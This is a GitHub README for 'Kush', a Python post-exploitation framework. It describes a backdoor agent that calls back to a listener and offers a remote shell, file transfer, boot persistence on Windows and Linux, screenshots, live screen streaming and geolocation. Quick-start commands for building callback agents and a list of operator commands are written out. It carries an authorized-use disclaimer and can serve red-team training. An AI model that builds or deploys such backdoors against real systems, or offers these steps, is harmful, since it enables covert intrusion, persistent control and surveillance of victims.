Skip to content

HackScaleTeam/kush-exploitation-framework

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

92 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Kush Exploitation Framework

Kush Banner Contributions Welcome Twitter URL Twitter URL YouTube URL Donate with PayPal Donate Bitcoin made-with-python License: MIT

Kush is a Python-based post-exploitation framework designed for authorized security testing and training.
The name comes from the Kingdom of Kush, reflecting both Sudanese heritage and the project’s goal:
empowering defenders by understanding offensive techniques.

Features

  • Cross-platform payloads – generate Windows or Linux agents from a single code base.

  • Encrypted & reliable communication – JSON + length header for safe binary transfers.

  • Upload / Download – transfer any file (Base64 encoded).

  • Interactive shell – run remote commands, change directories, capture output.

  • Windows and linux persistence – the backdoor will run when system restart.

  • Command history & tab-completion (v1.1+).

  • Typo suggestions – automatically hints the closest valid command.

  • And more !

    Project Structure

  • backdoor.py — agent (runs on the test machine and connects back to the listener).

  • listener.py — control server / operator console (interactive shell, file-transfer).

  • builder.py — payload builder to generate platform-specific agents and embed LHOST/LPORT.

Quick Start

  1. Clone & install dependencies

    git clone https://github.com/HackScaleTeam/kush-exploitation-framework.git
    cd kush-exploitation-framework
    cd setup
    pip3 install -r requirements.txt
    ./setup.sh  
      
  2. Run the listener

    python3 listener.py -i <IP> -p <PORT>    
    
    
  3. Generate payload Build a payload (example — use -t for target):

    Windows

    python3 builder.py -t windows -i 10.0.2.129 -p 4444 

    Linux

    python3 builder.py -t linux -i 10.0.2.129 -p 4444

    This produces an executable/agent configured to call back.

Listener Commands

help                  -> Show available commands

exit                  -> Close the current session

download              -> Download a file from the agent: download <remote_path>

upload                -> Upload a file to the agent: upload <local_path> <remote_path>

cd                    -> Change directory on the agent: cd <remote_path>
                      
<shell command>       -> Run any shell command when connected (e.g. whoami, ls, dir)

windows_persistnce    -> Run shell persistence command on the remote windows machine to make the backdoor run when system boot

linux_persistnce      -> Run shell persistence command on the remote linux machine to make the backdoor run when system boot

screenshot            -> Take a screenshot of remote desktop.

start_stream          -> Start real-time screen streaming

stop_stream           -> Stop screen streaming (alternative to Ctrl+C).

get_gps               -> Get approximate GPS location (IP-based).

⚠️ Legal & Ethical Notice

Kush is strictly for authorized penetration testing, red-team exercises, and personal lab research. Running this tool on systems you do not own or have explicit permission to test is illegal and can lead to criminal prosecution. The authors accept no liability for misuse.

Support / Donate

If you find this project useful, you can support development via PayPal or Bitcoin.

Thanks for supporting the project! 💙

MIT License

— see LICENSE.

About

Kush is a lightweight post-exploitation framework written in Python.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published